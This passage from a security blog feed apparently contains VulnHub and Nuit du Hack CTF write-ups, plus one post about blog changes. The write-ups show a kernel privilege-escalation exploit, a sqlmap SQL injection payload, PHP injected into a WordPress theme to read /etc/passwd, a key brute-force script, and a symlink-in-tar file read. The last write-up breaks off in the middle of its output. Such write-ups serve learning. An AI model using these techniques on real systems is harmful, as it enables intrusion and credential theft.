<p>This backups are copied by the daily crontab. A solution may be to attempt to a
race condition against it. I have not dig into the subject.</p>
<p>I also used
<a href="http://pentestmonkey.net/tools/audit/unix-privesc-check">unix-privsec-check</a>
in order to search for the privilege escalation.</p>
<h2>CVE-2015-1328</h2>
<p>I had a bit stop to search for the privilege escalation when I saw that an
exploit as been published for the
<a href="http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html">CVE-2015-1328</a>,
which use the incorrect permission check in overlayfs in Ubuntu to give root
privileges: <a href="http://seclists.org/oss-sec/2015/q2/717">http://seclists.org/oss-sec/2015/q2/717</a></p>
<p>Hopefully we are on a vulnerable Ubuntu. So I compiled <code>ofs.c</code> with <code>gcc</code> and
launch it, well it works and give me immediately a root shell.</p>
<div class="highlight"><pre><span></span><code><span class="n">root</span><span class="nv">@Huhuhhhhhuhuhhh</span><span class="err">:</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">butthead</span><span class="err">#</span><span class="w"> </span><span class="n">cat</span><span class="w"> </span><span class="o">/</span><span class="n">root</span><span class="o">/</span><span class="n">SECRETZ</span>
<span class="n">You</span><span class="w"> </span><span class="n">have</span><span class="w"> </span><span class="n">done</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="n">great</span><span class="w"> </span><span class="n">job</span><span class="p">,</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="n">can</span><span class="w"> </span><span class="n">see</span><span class="w"> </span><span class="n">this</span><span class="p">,</span><span class="w"> </span><span class="n">please</span><span class="w"> </span><span class="n">shoot</span><span class="w"> </span><span class="n">me</span><span class="w"> </span><span class="n">an</span><span class="w"> </span><span class="n">email</span>
<span class="ow">and</span><span class="w"> </span><span class="n">let</span><span class="w"> </span><span class="n">me</span><span class="w"> </span><span class="n">know</span><span class="w"> </span><span class="n">that</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="n">have</span><span class="w"> </span><span class="n">beat</span><span class="w"> </span><span class="n">this</span><span class="w"> </span><span class="n">box</span><span class="err">!</span>
<span class="n">SECRET</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="ss">"LIVE LONG AND PROSPER, REST IN PEACE MR. SPOCK"</span>
<span class="k">admin</span><span class="nv">@top</span><span class="o">-</span><span class="n">hat</span><span class="o">-</span><span class="n">sec</span><span class="p">.</span><span class="n">com</span>
</code></pre></div>
<h1>Conclusion</h1>
<p>This was a nice challenge as I learned a lot about the port knocking. The
privilege escalation was quit interesting to search for and the CVE-2015-1328
exploitation was a lot of fun.</p>
<p>Thank you <a href="http://top-hat-sec.com">top-hat-sec</a> for this challenge and
<a href="http://vulnhub.com">vulnhub</a> as always.</p>
<h1>Disqus comments</h1>
<p><em>This is a copy of the Disqus comments for this page</em></p>
<p><strong>Lamia Ladypower - 2015</strong></p>
<blockquote>
<p>Thank you for your solution. I liked how you thought specially in the last part (finding the vulnerability in ubuntu). But, i have one question, how did you import the script ofs.c to ubuntu server ?
I am waiting for your reply.
Thank you in advance</p>
</blockquote>
<p><strong>maggick - 2015</strong></p>
<blockquote>
<p>As you get a shell, there is a lot of solutions:
scp (as you mentioned), netcat or even the copy-paste support from your terminal.</p>
</blockquote>
<p><strong>Lamia Ladypower - 2015</strong></p>
<blockquote>
<p>I solved the problem. I used scp</p>
</blockquote>Blog changes #22015-05-15T16:30:00+02:002015-05-15T16:30:00+02:00maggicktag:maggick.fr,2015-05-15:/2015/05/blog-changes-2.html<p><img alt="blog screenshot" class="align-left" src="/media/2015.05/site.png" width="262"/></p>
<p>There was a lot of changes lately on the blog. I rewrite the urls, I moved the
notes section, I displayed the categories in the menu, add a favicon and add a
markdown plugin.</p>
<p>I wrote more "about" pages, separating the "about me" and "about website" pages and
creating a sports pages with my time for each race I run.</p>
<p>I also tweak the theme by adding icons, adding borders around code blocs,
putting the same CSS to pages as to articles and some minors improvements.</p>
<p><img alt="blog screenshot" class="align-left" src="/media/2015.05/site.png" width="262"/></p>
<p>There was a lot of changes lately on the blog. I rewrite the urls, I moved the
notes section, I displayed the categories in the menu, add a favicon and add a
markdown plugin.</p>
<p>I wrote more "about" pages, separating the "about me" and "about website" pages and
creating a sports pages with my time for each race I run.</p>
<p>I also tweak the theme by adding icons, adding borders around code blocs,
putting the same CSS to pages as to articles and some minors improvements.</p>
<h1>Site changes</h1>
<h2>Notes</h2>
<p>There was two part of the website, the /blog and the /notes.
First of all I moved the about pages which where located in the notes section
and put it as a static page in the /blog part and then I
moved all the notes into a notes page.</p>
<h2>Error page</h2>
<p>I remove the 404 page from github to put my own with a link to the
<a href="/archives.html">archives</a> and to the <a href="/pages/notes.html">notes</a>.</p>
<h2>Categories</h2>
<p>I Display the category in the menu. A theme change was needed as the original
one does not handle them.</p>
<h2>Plugin</h2>
<ul>
<li>
<p>I use the
<a href="https://github.com/getpelican/pelican-plugins/tree/master/summary">Summary pelican plugin</a>
in order to control the summary size.</p>
</li>
<li>
<p>I use the
<a href="https://github.com/ingwinlu/pelican-toc">toc markdwon plugin</a>
in order to make a simple table of content.</p>
</li>
<li>
<p>I use <a href="https://analytics.google.com/">Google Analytics</a> in order to track
the number of visitor (you can disable javascript if you do not want to be
tracked).</p>
</li>
</ul>
<h2>Favicon</h2>
<p>I add a favicon to the website.</p>
<h1>Theme tweaking</h1>
<p>It tweak the <a href="https://github.com/kplaube/maggner-pelican">maggner pelican theme</a>
a lot and <a href="https://github.com/maggick/maggner-pelican">my repository</a> is in
advance of a few commits compared to the original one. In fact I add a few
features to the theme:</p>
<p>A menu section to be added in the config file:</p>
<div class="highlight"><pre><span></span><code>MENUITEMS = (
('Notes', 'https://www.maggick.fr/notes'),
('RSS / ATOM feed', 'http://www.maggick.fr/blog/feeds/all.atom.xml'),)
</code></pre></div>
<p>A link section (blogroll) as in the main pelican themes, also configurable:</p>
<div class="highlight"><pre><span></span><code># Blogroll
LINKS = (('Pelican', 'http://getpelican.com/'),
('Python.org', 'http://python.org/'),
('Jinja2', 'http://jinja.pocoo.org/'),)
</code></pre></div>
<ul>
<li>In the archives, the date is before the article and its format is like
'24 May 2015'.</li>
<li>The social buttons at the end of an article are now configured in the pelican
configuration.</li>
<li>In the archives the date and the article title are separated with some space.</li>
<li>The categories can be display in the menu.</li>
<li>The social links are preceded with the corresponding social icon.</li>
<li>The archives and feeds links are preceded with a nice icon.</li>
<li>The pages CSS will now be the same as the articles one. For instance the
links in the pages are now in red as there were like the rest of the text
before.</li>
<li>Add a border to each bloc of code.</li>
</ul>Vulnhub - Freshly2015-04-20T00:00:00+02:002015-04-20T00:00:00+02:00maggicktag:maggick.fr,2015-04-20:/2015/04/vulnhub-freshly.html<p><img alt="not the droids" class="align-left" src="/media/2015.04/index_html_tumblr_mdeo27ZZjB1r6pf3eo1_500.gif" width="262"/></p>
<p>I continued to play with the vulnhub virtual machine and started the
<a href="https://www.vulnhub.com/entry/tophatsec-freshly,118/">TopHatSec - Freshly</a>.</p>
<p>"The goal of this challenge is to break into the machine via the web and find the
secret hidden in a sensitive file. If you can find the secret, send me an email
for verification. :)"</p>
<p><img alt="not the droids" class="align-left" src="/media/2015.04/index_html_tumblr_mdeo27ZZjB1r6pf3eo1_500.gif" width="262"/></p>
<p>I continued to play with the vulnhub virtual machine and started the
<a href="https://www.vulnhub.com/entry/tophatsec-freshly,118/">TopHatSec - Freshly</a>.</p>
<p>"The goal of this challenge is to break into the machine via the web and find the
secret hidden in a sensitive file. If you can find the secret, send me an email
for verification. :)"</p>
<h1>Discovery</h1>
<p>As always we need to know which ports are open.</p>
<h2>nmap</h2>
<div class="highlight"><pre><span></span><code># Nmap 6.47 scan initiated Thu Apr 16 19:13:39 2015 as: nmap -A -A -oA nmap 10.0.2.5
Nmap scan report for 10.0.2.5
Host is up (0.00087s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-02-17T03:30:05+00:00
|_Not valid after: 2025-02-14T03:30:05+00:00
|_ssl-date: 2047-09-11T02:34:36+00:00; +32y147d13h20m44s from local time.
8080/tcp open http Apache httpd
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Site doesn't have a title (text/html).
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
# Nmap done at Thu Apr 16 19:13:52 2015 -- 1 IP address (1 host up) scanned in 12.77 seconds
</code></pre></div>
<p>There is three ports with a web server running:</p>
<ul>
<li>The 80 just display an gif.</li>
<li>The 443 seems to be like the 8080 with SSL.</li>
<li>The 8080 is a wordpress website which seems to sell candy (who doesn't love
candy?).</li>
</ul>
<p><img alt="not the droids" src="/media/2015.04/index_html_tumblr_mdeo27ZZjB1r6pf3eo1_500.gif"/></p>
<p><em>I try to see if there was any differences between this gif and the original
one, but nothing.</em></p>
<h2>Nikto</h2>
<p>I like to use <a href="https://cirt.net/Nikto2">Nikto</a> when discovering website, I will put only the
interesting stuff, but I ran <a href="https://cirt.net/Nikto2">Nikto</a> on the 3 ports.</p>
<p>Port 80:</p>
<div class="highlight"><pre><span></span><code>[maggick@rootine Freshly]$ nikto -host 10.0.2.5
Server: Apache/2.4.7 (Ubuntu)
+ /login.php: Admin login page/section found.
+ /phpmyadmin/: phpMyAdmin directory found
</code></pre></div>
<p><img alt="login.php" class="image-process-article-image" src="/media/2015.04/derivatives/article-image/login.php.png"/></p>
<p>Port 8080:</p>
<div class="highlight"><pre><span></span><code>[maggick@rootine Freshly]$ nikto -host 10.0.2.5 -port 8080
+ OSVDB-3268: /img/: Directory indexing found.
+ /wordpress/: A Wordpress installation was found
</code></pre></div>
<p>We got two login interfaces and a directory listing with images. Let's take a
look at the wordpress installation.</p>
<p><img alt="wordpress, index" class="image-process-article-image" src="/media/2015.04/derivatives/article-image/wordpress_index.png"/></p>
<p><em>The directory listening was not of any use. As well the phpmyadmin interface
was not usefull.</em></p>
<h2>WPScan</h2>
<p>We run <a href="https://github.com/wpscanteam/wpscan"><code>wpscan</code></a> on the 8080 website:</p>
<div class="highlight"><pre><span></span><code>[maggick@rootine wpscan]$ ruby wpscan.rb --url http://10.0.2.5:8080/wordpress/
[+] URL: http://10.0.2.5:8080/wordpress/
[+] Started: Thu Apr 16 20:01:39 2015
[!] The WordPress 'http://10.0.2.5:8080/wordpress/readme.html' file exists exposing a version number
[!] Full Path Disclosure (FPD) in: 'http://10.0.2.5:8080/wordpress/wp-includes/rss-functions.php'
[+] Interesting header: SERVER: Apache
[+] Interesting header: X-FRAME-OPTIONS: SAMEORIGIN
[+] XML-RPC Interface available under: http://10.0.2.5:8080/wordpress/xmlrpc.php
[+] WordPress version 4.1.1 identified from meta generator
[+] Enumerating plugins from passive detection ...
| 4 plugins found:
[+] Name: cart66-lite - v1.5.3
| Location: http://10.0.2.5:8080/wordpress/wp-content/plugins/cart66-lite/
| Readme: http://10.0.2.5:8080/wordpress/wp-content/plugins/cart66-lite/readme.txt
[!] Title: Cart66 Lite <= 1.5.3 - SQL Injection
Reference: https://wpvulndb.com/vulnerabilities/7737
Reference: https://research.g0blin.co.uk/g0blin-00022/
Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9442
[i] Fixed in: 1.5.4
[+] Name: contact-form-7 - v4.1
| Location: http://10.0.2.5:8080/wordpress/wp-content/plugins/contact-form-7/
| Readme: http://10.0.2.5:8080/wordpress/wp-content/plugins/contact-form-7/readme.txt
[+] Name: proplayer - v4.7.9.1
| Location: http://10.0.2.5:8080/wordpress/wp-content/plugins/proplayer/
| Readme: http://10.0.2.5:8080/wordpress/wp-content/plugins/proplayer/readme.txt
[!] Title: ProPlayer 4.7.9.1 - SQL Injection
Reference: https://wpvulndb.com/vulnerabilities/6912
Reference: http://osvdb.org/93564
Reference: http://www.exploit-db.com/exploits/25605/
[+] Name: all-in-one-seo-pack - v2.2.5.1
| Location: http://10.0.2.5:8080/wordpress/wp-content/plugins/all-in-one-seo-pack/
| Readme: http://10.0.2.5:8080/wordpress/wp-content/plugins/all-in-one-seo-pack/readme.txt
[!] Title: All in One SEO Pack <= 2.2.5.1 - Authentication Bypass
Reference: https://wpvulndb.com/vulnerabilities/7881
Reference: http://jvn.jp/en/jp/JVN75615300/index.html
Reference: http://semperfiwebdesign.com/blog/all-in-one-seo-pack/all-in-one-seo-pack-release-history/
Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-0902
[i] Fixed in: 2.2.6
</code></pre></div>
<p>We got some nice results, three plug-in have security issues. Digging furtherer,
we notice that:</p>
<ul>
<li>All in One SEO Pack - Authentication Bypas: There was nothing in the metadata.</li>
<li>Cart66 Lite 1.5.3 - SQL Injection: Need to be authenticated</li>
<li>proplayer 4.7.9.1 - SQL Injection: Concerns a non available URL (you can run sqlmap on it to confirm this)</li>
</ul>
<p>Therefore none of this will help us in this challenge.</p>
<h1>Exploit</h1>
<p>Nikto shows us some interesting URL. The login interface at <code>login.php</code> may be
injectable.</p>
<h2>sqlmap</h2>
<p>We need to use burp in order to save the POST request to a file, an then we
launch <a href="http://sqlmap.org">sqlmap</a> on the <code>login.php</code> URL:</p>
<div class="highlight"><pre><span></span><code>[maggick@rootine sqlmap]$ python2 sqlmap.py -r login_req -p user
_
___ ___| |_____ ___ ___ {1.0-dev-dbfa8f1}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[*] starting at 20:43:22
[20:43:22] [INFO] parsing HTTP request from '/home/maggick/work/chall/vulnhub/Freshly/login_req'
[20:43:22] [INFO] resuming back-end DBMS 'mysql'
[20:43:22] [INFO] testing connection to the target URL
[20:43:22] [INFO] heuristics detected web page charset 'ascii'
sqlmap identified the following injection points with a total of 0 HTTP(s)
requests:
---
Parameter: user (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: user=asdf' AND (SELECT * FROM (SELECT(SLEEP(5)))RaKL) AND 'KuPd'='KuPd&password=asdf&s=Submit
---
[20:43:22] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL 5.0.12
[20:43:22] [INFO] fetched data logged to text files under '/home/maggick/.sqlmap/output/10.0.2.5'
[*] shutting down at 20:43:22
</code></pre></div>
<p>Okay the <code>user</code> parameter is vulnerable to a time-based blind injection. Let's
see what are the databases:</p>
<div class="highlight"><pre><span></span><code>[maggick@rootine sqlmap]$ python2 sqlmap.py -r ~/work/chall/vulnhub/Freshly/longin_req -p user --dbs
back-end DBMS: MySQL 5.0.12
[...]
available databases [7]:
[*] information_schema
[*] login
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] users
[*] wordpress8080
</code></pre></div>
<p>Let's dump the interesting databases, <code>users</code> and <code>login</code>:</p>
<p>users:</p>
<div class="highlight"><pre><span></span><code>Database: login
Table: users
[2 entries]
+----------+-----------+
| password | user_name |
+----------+-----------+
| password | candyshop |
| PopRocks | Sir |
+----------+-----------+
</code></pre></div>
<p>login:</p>
<div class="highlight"><pre><span></span><code>Database: wordpress8080
Table: users
[1 entry]
+----------+---------------------+
| username | password |
+----------+---------------------+
| admin | SuperSecretPassword |
+----------+---------------------+
</code></pre></div>
<p>So we got some passwords. Then let's use the wordpress password.</p>
<h2>Admin, PHP and Flag</h2>
<p>We got the admin password for <code>http://10.0.2.5:8080/wordpress/wp-login</code>.</p>
<p><img alt="wordpress, admin interface" class="image-process-article-image" src="/media/2015.04/derivatives/article-image/wordpress_admin.png"/></p>
<p>As we want to read a file on the system, let's put some PHP code in the theme:
We go to Appearance -> Editor -> Footer (footer.php) and add some PHP code in
order to execute it, let's get the <code>/etc/passwd</code> file :</p>
<div class="highlight"><pre><span></span><code><span class="x"> </span><span class="cp"><?php</span>
<span class="nv">$myfile</span> <span class="o">=</span> <span class="nb">fopen</span><span class="p">(</span><span class="s2">"/etc/passwd"</span><span class="p">,</span> <span class="s2">"r"</span><span class="p">)</span> <span class="k">or</span> <span class="k">die</span><span class="p">(</span><span class="s2">"Unable to open file!"</span><span class="p">);</span>
<span class="k">echo</span> <span class="nb">fread</span><span class="p">(</span><span class="nv">$myfile</span><span class="p">,</span><span class="nb">filesize</span><span class="p">(</span><span class="s2">"/etc/passwd"</span><span class="p">));</span>
<span class="nb">fclose</span><span class="p">(</span><span class="nv">$myfile</span><span class="p">);</span>
<span class="cp">?></span>
</span></code></pre></div>
<p>When we reload the index page we got the <code>/etc/password</code> file in the footer:</p>
<div class="highlight"><pre><span></span><code>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
user:x:1000:1000:user,,,:/home/user:/bin/bash
mysql:x:103:111:MySQL Server,,,:/nonexistent:/bin/false
candycane:x:1001:1001::/home/candycane:
# YOU STOLE MY SECRET FILE!
# SECRET = "NOBODY EVER GOES IN, AND NOBODY EVER COMES OUT!"
</code></pre></div>
<p>Wut? We already got the flag!
No need to root the system… sadly.</p>
<p>As there is not ssh port open, I tried to log on the VM with
<code>root:SuperSecretPassword</code> and it simply worked.</p>
<h1>Summary</h1>
<p>This was a simple challenge, based on web pentesting.
It was a bit short but nonetheless interesting.</p>
<p>Road to flag:</p>
<ul>
<li>SQL injection on the <code>/login.php</code> interface</li>
<li>Get the wordpress admin password</li>
<li>As wordpress admin inject PHP code in the web site (via the theme)</li>
<li>Display <code>/etc/passwd</code></li>
</ul>
<p>Flag : <strong>"NOBODY EVER GOES IN, AND NOBODY EVER COMES OUT!"</strong></p>CTF NDH Qualifications2015-04-07T00:00:00+02:002015-04-07T00:00:00+02:00maggicktag:maggick.fr,2015-04-07:/2015/04/ctf-ndh-qualifications.html<p><img alt="Logo NDH" class="align-left" src="/media/2015.04/ndh_logo.png" width="202"/></p>
<p>This weekend (4 April 2015) take place the qualification round for
<a href="https://nuitduhack.com/en/">"Nuit du Hack" CTF</a> from 00:01 to 23:59. It was a
Jeopardy CTF.</p>
<p>I have participated with the <a href="http://www.zenk-security.com/">Zenk-Security</a> team.
At the end we got the 7th position and are qualified for the final which would
be a Attack-Defense CTF in Paris in June.</p>
<p>I publish here the ones for the challenges I participated to and make a writeup
of. All the writeup for this CTF are
<a href="http://wiki.zenk-security.com/doku.php?id=ndh_2015_quals">accessible here (in french)</a>.</p>
<p><img alt="Logo NDH" class="align-left" src="/media/2015.04/ndh_logo.png" width="202"/></p>
<p>This weekend (4 April 2015) take place the qualification round for
<a href="https://nuitduhack.com/en/">"Nuit du Hack" CTF</a> from 00:01 to 23:59. It was a
Jeopardy CTF.</p>
<p>I have participated with the <a href="http://www.zenk-security.com/">Zenk-Security</a> team.
At the end we got the 7th position and are qualified for the final which would
be a Attack-Defense CTF in Paris in June.</p>
<p>I publish here the ones for the challenges I participated to and make a writeup
of. All the writeup for this CTF are
<a href="http://wiki.zenk-security.com/doku.php?id=ndh_2015_quals">accessible here (in french)</a>.</p>
<p>This article is a bit long, so here is the list of the available writeup :</p>
<h1>Menu:</h1>
<ul>
<li><a href="#facebox">FaceBox</a></li>
<li><a href="#facesec">FaceSec</a></li>
<li><a href="#secureauth">SecureAuth</a></li>
<li><a href="#updator">Updator</a></li>
<li><a href="#raptor">Raptor</a></li>
</ul>
<h1>FaceBox</h1>
<p>Web | 100 points | quals.nuitduhack.com/challenges/view/10</p>
<p>prod.facebox.challs.nuitduhack.com/</p>
<h2>Statement</h2>
<p>*A shady company decided to write their own software for storing files in the
cloud.</p>
<p>"No no no, this is OUR filebox. We decline any responsability in the usage of our
filebox. In any event your files get lost, trashed, stolen or spy on : it's
your fault, not ours."</p>
<p>You are investigating on the security of their cloud storage as it might have
disastrous consequences if it were to get hacked by malicious actors.*</p>
<h2>Challenge</h2>
<p>The website prod.facebox.challs.nuitduhack.com allow us to create an account and
log ourself. Then we can upload files on the server both in public and private
mod. In this case the link to the file is hide to the other users.</p>
<h3>File Upload</h3>
<p>We tried to upload files and execute some code on the server. It was a
waste of time. Then we think that if there was a prod, there should also be a
dev.</p>
<h3>dev</h3>
<p>With dev.facebox.challs.nuitduhack.com/ we found a git project with the
following tree:</p>
<div class="highlight"><pre><span></span><code>dev.facebox.challs.nuitduhack.com/.git/config
dev.facebox.challs.nuitduhack.com/.git/COMMIT_EDITMSG
dev.facebox.challs.nuitduhack.com/.git/HEAD
dev.facebox.challs.nuitduhack.com/.git/refs/heads/master
dev.facebox.challs.nuitduhack.com/.git/logs/
</code></pre></div>
<p>The page dev.facebox.challs.nuitduhack.com/.git/COMMIT_EDITMSG show the
last commit messages: <em>hash generation function</em></p>
<p>We can easily retrieve all files on this repository with <code>rip-git.pl</code>:
https://github.com/ctfs/write-ups-2014/tree/master/9447-ctf-2014/tumorous
https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-git.pl</p>
<h3>A bit of python</h3>
<p>With <code>rip-git.pl</code> we found the python script that generate the link of the
uploaded files:</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/env python</span>
<span class="c1"># -*- coding: utf-8 -*-</span>
<span class="k">def</span> <span class="nf">generate_random_filename</span><span class="p">(</span><span class="n">user_id</span><span class="p">,</span><span class="n">filename</span><span class="p">):</span>
<span class="n">dbuser</span> <span class="o">=</span> <span class="n">users</span><span class="o">.</span><span class="n">query</span><span class="o">.</span><span class="n">filter_by</span><span class="p">(</span><span class="nb">id</span><span class="o">=</span><span class="n">user_id</span><span class="p">)</span><span class="o">.</span><span class="n">first</span><span class="p">()</span>
<span class="k">if</span> <span class="n">dbuser</span><span class="o">.</span><span class="n">privkey</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span><span class="p">:</span>
<span class="k">return</span> <span class="n">md5</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">dbuser</span><span class="o">.</span><span class="n">privkey</span><span class="p">)</span><span class="o">+</span><span class="n">filename</span><span class="p">)</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">privkey</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">randint</span><span class="p">(</span><span class="mi">10000000</span><span class="p">,</span><span class="mi">99999999</span><span class="p">))</span>
<span class="n">upd</span> <span class="o">=</span> <span class="n">users</span><span class="o">.</span><span class="n">query</span><span class="o">.</span><span class="n">filter_by</span><span class="p">(</span><span class="nb">id</span><span class="o">=</span><span class="n">user_id</span><span class="p">)</span><span class="o">.</span><span class="n">first</span><span class="p">()</span>
<span class="n">upd</span><span class="o">.</span><span class="n">privkey</span> <span class="o">=</span> <span class="n">privkey</span>
<span class="n">db</span><span class="o">.</span><span class="n">session</span><span class="o">.</span><span class="n">commit</span><span class="p">()</span>
<span class="k">return</span> <span class="n">md5</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">privkey</span><span class="p">)</span><span class="o">+</span><span class="n">filename</span><span class="p">)</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span>
</code></pre></div>
<h3>Private file</h3>
<p>We have been asked to test the application security. The private file access
seems a interesting vulnerability. The first two files were probably upload by
the staff.
Then we will try to get the <strong>confidentials.txt</strong> file upload by the user koffi.
Hopfuly a second file was upload by this user: <strong>paste1.txt</strong> at the address
prod.facebox.challs.nuitduhack.com/files/view/3686d78a6e9d5258773a6ae0469d3ed4</p>
<p>In order to find the private key of the koffi user, we quickly inverse the
previous script and we brute force the private key in order to found the good
link with the url of the <strong>paste1.txt</strong> file:</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">hashlib</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10000000</span><span class="p">,</span><span class="mi">100000000</span><span class="p">):</span>
<span class="k">if</span><span class="p">((</span><span class="n">i</span> <span class="o">%</span> <span class="mi">10000000</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">):</span>
<span class="nb">print</span> <span class="s2">"</span><span class="si">%d</span><span class="s2">"</span> <span class="o">%</span> <span class="p">(</span><span class="n">i</span><span class="p">)</span>
<span class="k">if</span><span class="p">(</span><span class="n">hashlib</span><span class="o">.</span><span class="n">md5</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)</span><span class="o">+</span><span class="s2">"paste01.txt"</span><span class="p">)</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span> <span class="o">==</span> <span class="s2">"3686d78a6e9d5258773a6ae0469d3ed4"</span><span class="p">):</span>
<span class="nb">print</span> <span class="s2">"privkey found: </span><span class="si">%d</span><span class="s2">"</span> <span class="o">%</span> <span class="p">(</span><span class="n">i</span><span class="p">)</span>
<span class="nb">print</span> <span class="s2">"Done!"</span>
</code></pre></div>
<p>Result: <strong>privkey found: 95594864</strong></p>
<p>With this private key we applied the algorithm to the <strong>crendentials.txt</strong> file:</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">hashlib</span>
<span class="k">def</span> <span class="nf">generate_random_filename</span><span class="p">(</span><span class="n">user_id</span><span class="p">,</span><span class="n">filename</span><span class="p">):</span>
<span class="n">privkey</span> <span class="o">=</span> <span class="mi">95594864</span>
<span class="nb">print</span><span class="p">(</span><span class="n">hashlib</span><span class="o">.</span><span class="n">md5</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">privkey</span><span class="p">)</span><span class="o">+</span><span class="n">filename</span><span class="p">)</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">())</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">"__main__"</span><span class="p">:</span>
<span class="n">generate_random_filename</span><span class="p">(</span><span class="s2">"koffi"</span><span class="p">,</span> <span class="s2">"confidentials.txt"</span><span class="p">)</span>
</code></pre></div>
<p>Result: <strong>35e2cb0b2e8bd40347ecd4e32767a060</strong></p>
<p>We have the complete url to access the private file:
prod.facebox.challs.nuitduhack.com/files/view/35e2cb0b2e8bd40347ecd4e32767a060</p>
<p><strong>Flag: M4x_M4i5_DR</strong></p>
<h1>FaceSec</h1>
<p>Web | 100 points | quals.nuitduhack.com/challenges/view/11</p>
<p>facesec.challs.nuitduhack.com/</p>
<h2>Statement</h2>
<p>*"Hello there,</p>
<p>We are looking for a developer or security consultant to secure our filebox
system. We stumbled upon your LinkedIn profile and it seems like you would be a
perfect candidate for this job. Could you please send us your CV and Motivation
letter?</p>
<p>Thanks,</p>
<p>faceSec HR Director."*</p>
<h2>Challenge</h2>
<p>This challenge allow us to register an account and then upload text file as
resume and motivation letter in order to apply for a job.
We can also upload a compressed file (tar) with a cv.txt and a motiv.txt in
order to upload both files at the same time.</p>
<h3>Facebook</h3>
<p>This challenge looks like the Facebook vulnerability discover last December:
http://josipfranjkovic.blogspot.fr/2014/12/reading-local-files-from-facebooks.html
nevertheless we must upload a .tar file instead of a .zip file.</p>
<h3>A bit of symbolic link</h3>
<p>We create a <code>cv.txt</code> file with a symbolic link to <code>/etc/passwd</code> and a
<code>motiv.txt</code> file with random content and then tar the two files:</p>
<div class="highlight"><pre><span></span><code>ln -s /etc/passwd cv.txt
echo plop > motiv.txt
tar cvf tar.tar *.txt
cv.txt
motiv.txt
</code></pre></div>
<p>We upload the file <code>tar.tar</code> and we get as excepted the <code>/etc/passwd</code> file from
the server:</p>
<div class="highlight"><pre><span></span><code><span class="n">root</span><span class="o">:</span><span class="n">x</span><span class="o">:</span><span class="mi">0</span><span class="o">:</span><span class="mi">0</span><span class="o">:</span><span class="n">root</span><span class="o">:/</span><span class="n">root</span><span class="o">:/</span><span class="n">bin</span><span class="o">/</span><span class="n">bash</span>
<span class="n">daemon</span><span class="o">:</span><span class="n">x</span><span class="o">:</span><span class="mi">1</span><span class="o">:</span><span class="mi">1</span><span class="o">:</span><span class="n">daemon</span><span class="o">:/</span><span class="n">usr</span><span class="sr">/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/s</span><span class="n">h</span>
<span class="n">sys</span><span class="o">:</span><span class="n">x</span><span class="o">:</span><span class="mi">3</span><span class="o">:</span><span class="mi">3</span><span class="o">:</span><span class="n">sys</span><span class="o">:/</span><span class="n">dev</span><span class="o">:/</span><span class="n">bin</span><span class="sr">/sh sync:x:4:65534:sync:/bin:/bin/s</span><span class="n">ync</span>
